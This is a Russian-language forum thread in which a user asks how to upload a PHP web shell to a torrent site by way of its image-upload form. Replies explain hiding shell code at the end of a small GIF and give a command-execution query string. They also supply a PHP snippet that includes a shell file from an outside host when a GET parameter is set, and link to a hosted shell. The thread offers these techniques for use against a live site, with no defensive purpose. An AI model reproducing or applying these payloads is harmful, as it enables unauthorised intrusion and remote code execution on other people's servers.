![]() |
Нужно залить shell через картинку
Есть торрент в нем есть заливка картинок.
Могу залить картинку и сделать её не jpeg а php. При заливке простой картинки все нормально и в пхп сохраняет. Вот ниже если поменять jpg на php то на сервер он зальёт как php. Код:
-----------------------------220022761016327\r\nContent-Disposition: form-data; name="file"; А вот когда шелл сохраняем в формате jpg и пытаюсь залить он не заливает. Вобщем кто знает как обойти фильтр. Все делается через post запрос. Или скинте картинку с шелом |
Состряпай в пейнте картинку 1 на 1.
Открой её фаром и на новой строке впиши код шелла (какой нидь не большой типа выполнялки команд). К примеру гифка: http://rapidshare.com/files/229115118/m.gif.html ?ev=phpinfo(); |
да все супер залил но теперь при заходе на эту страницу вылетает такое.
http://i052.radikal.ru/0905/0e/f805d357507b.jpg |
Ну так,ты напиши код в конце картинки нужный, и заливай.
Например в конце допиши: <? if(isset($_GET['shell'])){ include('http://mysite.com/shel.txt'); } ?> И обратись к шеллу, http://torent.ru/img/gif.php?shell |
Цитата:
Если юзал мою картинку, то выполняй код так: gif.php?ev=phpinfo(); |
ну вот у меня трабл тоже самое я могу ... но на фотку твою добавил р57 не сработало (
|
Грей обясни.. плз
|
http://file-hran2006.narod.ru/shell.txt если нужен шелл, не ищи.
|
мне тока кодировка фотки ( шелл есть )
|
Спасибо, много узнал, читая тему.
|
| Время: 21:31 |